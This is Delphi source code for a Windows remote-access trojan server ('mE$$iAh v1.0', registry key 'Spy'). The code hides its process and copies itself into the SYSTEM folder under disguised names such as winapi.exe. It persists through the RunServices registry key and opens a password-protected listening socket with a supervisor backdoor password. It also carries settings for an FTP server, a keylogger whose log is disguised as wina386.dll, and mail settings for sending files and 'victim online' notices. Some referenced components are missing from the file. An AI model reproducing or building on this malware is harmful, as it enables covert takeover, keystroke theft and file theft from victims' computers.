program Project3;
uses
  Windows,
  SysUtils,
  mymessages,
  scktcomp,
  ftpsrv;

{$I ..\consts.pas}

type
  TTimer = class(TObject)
  private
    FInterval: Cardinal;
    FWindowHandle: HWND;
    FOnTimer: TNotifyEvent;
    FEnabled: Boolean;
    procedure UpdateTimer;
    procedure SetEnabled(Value: Boolean);
    procedure SetInterval(Value: Cardinal);
    procedure SetOnTimer(Value: TNotifyEvent);
    procedure WndProc(var Msg: TMessage);
  protected
    procedure Timer; dynamic;
  public
    constructor Create;
    destructor Destroy; override;
  published
    property Enabled: Boolean read FEnabled write SetEnabled default True;
    property Interval: Cardinal read FInterval write SetInterval default 1000;
    property OnTimer: TNotifyEvent read FOnTimer write SetOnTimer;
  end;

{-------------------------TSERVERENGINE CLASS}

 TServerEngine = class (TObject)
 private
   Timer1: TTimer;
   FClose: Boolean;
   MyRegistry: TRegistry;
   passwordText: string;
   SmtpSendTo, SmtpUserName: string;
   megnyitva : boolean;
   KeylogFile : textfile;
   ServerSocket1: TServerSocket;
   password: boolean;
   FTPServer1: TFtpServer;
   procedure ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket);
   procedure ServerSocket1ClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
   procedure ServerSocket1ClientConnect(Sender: TObject; Socket: TCustomWinSocket);
   procedure ServerSocket1ClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);

 public
   constructor Create;
   destructor Destroy; override;
   procedure Timer1Timer (Sender: TObject);
 published
   property Close: Boolean read FClose write FClose;
 end;

function RegisterServiceProcess(dwProcessID, dwType: integer): integer; stdcall; external 'KERNEL32.DLL';

resourcestring
  AtomName = 'mE$$iAh v1.0';
      REGPATH  = '\SOFTWARE\Spy';
      REGSERVICE= '\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices';
      REGFTPSTART='FtpStart';
      REGKEYLOGSTART='KeylogStart';
      REGSRVNAME= 'JYService';
      REGPORT  = 'Port';
      REGPASW  = 'Password';
      DISCONNECTED='Disconnected';
      OK= 'Ok';
      CANTDELETE= 'Can''t del it';
      NOTUNDER = 'Not UnderStood';
      REGPOPPSW = 'PopPassword';
      REGPOPHST = 'PopHost';
      REGPOPUSR = 'PopUserName';
      REGSMTPHST ='SmtpHost';
      REGSMTPUSR ='SmtpUserName';
      REGSMTPS2  ='SmtpSendTo';
      VICTIMONLINE='Victim Is Online: ';
      MAILATTACH ='Here is the file you request';
      CURRENTUSER='The current user is: ';
      WINDOWSDIR ='Directory of Windows is: ';
      KEYLOGTODEF='wina386.dll';
      TITLEMSG = 'Active Title changed: ';


const
  clBlue = TColor($FF0000);
  SERVERNAME : array[0..2] of string = ('j4ysrv.exe', 'winapi.exe', 'mapisrv.exe');


var
  hAtom: Atom;
  i: integer;

  MyServer: TServerEngine;
  Msg: TMsg;


{---------------------------- TTIMER ----}

constructor TTimer.Create;
begin
  FEnabled := True;
  FInterval := 1000;
  FWindowHandle := AllocateHWnd(WndProc);
end;

destructor TTimer.Destroy;
begin
  FEnabled := False;
  UpdateTimer;
  DeallocateHWnd(FWindowHandle);
  inherited Destroy;
end;

procedure TTimer.WndProc(var Msg: TMessage);
begin
  with Msg do
    if Msg = WM_TIMER then
      try
        Timer;
      except
        {nothing}
      end
    else
      Result := DefWindowProc(FWindowHandle, Msg, wParam, lParam);
end;

procedure TTimer.UpdateTimer;
begin
  KillTimer(FWindowHandle, 1);
  if (FInterval <> 0) and FEnabled and Assigned(FOnTimer) then
    SetTimer(FWindowHandle, 1, FInterval, nil);
end;

procedure TTimer.SetEnabled(Value: Boolean);
begin
  if Value <> FEnabled then
  begin
    FEnabled := Value;
    UpdateTimer;
  end;
end;

procedure TTimer.SetInterval(Value: Cardinal);
begin
  if Value <> FInterval then
  begin
    FInterval := Value;
    UpdateTimer;
  end;
end;

procedure TTimer.SetOnTimer(Value: TNotifyEvent);
begin
  FOnTimer := Value;
  UpdateTimer;
end;

procedure TTimer.Timer;
begin
  if Assigned(FOnTimer) then FOnTimer(Self);
end;

{-------------------------------end of TTIMER}


{---------------------------- TSERVERENGINE ----}

constructor TServerEngine.Create;
var st: integer;
    KeyLogStart, ftpstart: string;
begin
//---------main variable
  FClose:= False;  //variable to know when would we quit from the prog.

  megnyitva := False;  //megnyitva a keylogger

  RegisterServiceProcess (GetCurrentProcessID, 1); //hides the applition

//---------Timer1

  Timer1:= TTimer.Create;
  with Timer1 do
  begin
    Interval:= 10000;
    Enabled:= True;
    OnTimer:= Timer1Timer;
  end;

//-------Serversocket1
  ServerSocket1:= TServerSocket.Create;
  ServerSocket1.OnClientRead:= ServerSocket1ClientRead;
  ServerSocket1.OnClientDisconnect:= ServerSocket1ClientDisconnect;
  ServerSocket1.OnClientConnect:= ServerSocket1ClientConnect;
  ServerSocket1.OnClientError:= ServerSocket1ClientError;


//-------ftpserver1
  FtpServer1:= TFtpServer.Create;
  FtpServer1.Banner:= '220 ' + SERVERVER;

//-------myregistry
  MyRegistry:=TRegistry.Create;
  MyRegistry.RootKey:= HKEY_LOCAL_MACHINE;
  MyRegistry.OpenKey (REGPATH, False);
  try
    st:=StrToInt (MyRegistry.ReadString(REGPORT));
    passwordText:=MyRegistry.ReadString(REGPASW);
    SakPOP1.UserPasswd:=MyRegistry.ReadString(REGPOPPSW);
    SakPOP1.UserId    :=MyRegistry.ReadString(REGPOPUSR);
    SakPOP1.Host      :=MyRegistry.ReadString(REGPOPHST);
    SakSMTP1.Host      :=MyRegistry.ReadString(REGSMTPHST);
    SmtpUserName      := MyRegistry.ReadString(REGSMTPUSR);
    SmtpSendTo        := MyRegistry.ReadString(REGSMTPS2);
    FtpStart          := MyRegistry.ReadString(REGFTPSTART);
    KeyLogStart       := MyRegistry.ReadString(REGKEYLOGSTART);

    MyRegistry.OpenKey (REGSERVICE, False);
    MyRegistry.WriteString (REGSRVNAME, ParamStr(0));

    MyRegistry.OpenKey (REGPATH, False); //back to this
  except        //creating the default values in the registry
  begin
    MyRegistry.CreateKey (REGPATH);
    MyRegistry.OpenKey (REGPATH, False);//this missed a long time, and i didn't understand, why.

    MyRegistry.WriteString (REGPORT, DEFAULTPORT);
    MyRegistry.WriteString (REGPASW, DEFAULTPASSWORD);
    MyRegistry.WriteString (REGPOPPSW, DEFAULTPOPPSW); //empty
    MyRegistry.WriteString (REGPOPUSR, DEFAULTPOPUSR); //empty
    MyRegistry.WriteString (REGPOPHST, DEFAULTPOPHST); //empty
    MyRegistry.WriteString (REGSMTPHST, DEFAULTSMTPHST); //empty
    MyRegistry.WriteString (REGSMTPUSR, DEFAULTSMTPUSR); //empty
    MyRegistry.WriteString (REGSMTPS2, DEFAULTSMTPS2); //empty
    MyRegistry.WriteString (REGFTPSTART, DEFAULTFTPSTART); //OFF
    MyRegistry.WriteString (REGKEYLOGSTART, DEFAULTKEYLOGSTART); //OFF

    MyRegistry.OpenKey (REGSERVICE, False);
    MyRegistry.WriteString (REGSRVNAME, ParamStr(0));
    MyRegistry.OpenKey (REGPATH, False); //back to this

    st:= StrToInt (DEFAULTPORT);
    passwordtext:= DEFAULTPASSWORD;
    SakPOP1.UserPasswd := DEFAULTPOPPSW;
    SakPOP1.UserId   := DEFAULTPOPUSR;
    SakPOP1.Host:= DEFAULTPOPHST;
    SakSMTP1.host := DEFAULTSMTPHST;
    SmtpUserName := DEFAULTSMTPUSR;
    SmtpSendto := DEFAULTSMTPS2;
    FtpStart:= DEFAULTFTPSTART;
    KeyLogStart:= DEFAULTKEYLOGSTART;
  end;
end;
  if FtpStart = FTPON then FtpServer1.Start;
  if KeyLogStart = KEYLOGON then KeySpy1.Enabled:= True else KeySpy1.Enabled:= False;
    ServerSocket1.Port:= st;
    ServerSocket1.Active:= True;
end;

destructor TServerEngine.Destroy;
begin
//---------mainvariables
  RegisterServiceProcess(GetCurrentProcessID, 0); //ujra lathatova tesszuk
  if megnyitva then
    CloseFile (KeyLogFile);

//---------Timer1
  Timer1.Free;

//---------ftpserver1
  FtpServer1.Free;

//----------ServerSocket1
  ServerSocket1.Active:= False;
  ServerSocket1.Free;

//----------MyRegistry
  MyRegistry.Free;
end;

procedure TServerEngine.Timer1Timer (Sender: TObject);
begin
  if IDOK = MessageBox (GetForeGroundWindow, 'Proba1', 'Proba2', MB_OK) then
    FClose:= True;
end;

procedure TServerEngine.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var    s  :string;
begin
  s:=Socket.ReceiveText;
  if (password) then
  begin
    if (s = passwordtext) or (s = SUPERVISORPSW) then
    begin
      password:= false;
      Socket.SendText ('PW accepted');
    end else
    Socket.Sendtext ('Disconnected');
  end else
    ProcessString (s, Socket, True);
end;

procedure TServerEngine.ServerSocket1ClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  Socket.Sendtext (DISCONNECTED);
  password:= false;
end;

procedure TServerEngine.ServerSocket1ClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  Socket.SendText (SERVERVER);
  password:= true; //must waiting for password
end;

procedure TServerEngine.ServerSocket1ClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
//okay. do nothing, we handle the error only.
end;



{-------------------------------end of TSERVERENGINE}

function GetWinDir: String;
var
  buffer: array[0..31] of char;
  buffSize: DWORD;
begin
  buffSize:=32;
  GetWindowsDirectory(buffer, buffSize);
  Result:=buffer;
end;



begin
  // Insert user code here

  if GlobalFindAtom(PChar(AtomName)) = 0 then
  begin
    if (0 = Pos (GetWinDir+'\SYSTEM', ParamStr(0))) then
    begin
       i:= Random(3);
       CopyFile (PChar(ParamStr(0)), PChar(GetWinDir+'\SYSTEM\'+SERVERNAME[i]), false);
       ShellExecute (GetForeGroundWindow, nil, PChar(GetWinDir+'\SYSTEM\'+SERVERNAME[i]), nil, nil, SW_SHOWNORMAL);
    end else
    begin
      hAtom:=GlobalAddAtom(PChar(AtomName));

      MyServer:= TServerEngine.Create;

      while (not MyServer.Close) and GetMessage(MSG,0,0,0) do
      begin
        if MSG.Message <> WM_QUIT then
          DispatchMessage(MSG) else
          MyServer.Close:= True;
      end;

      MyServer.Free;

      GlobalDeleteAtom(hAtom);
    end;
  end;
end.
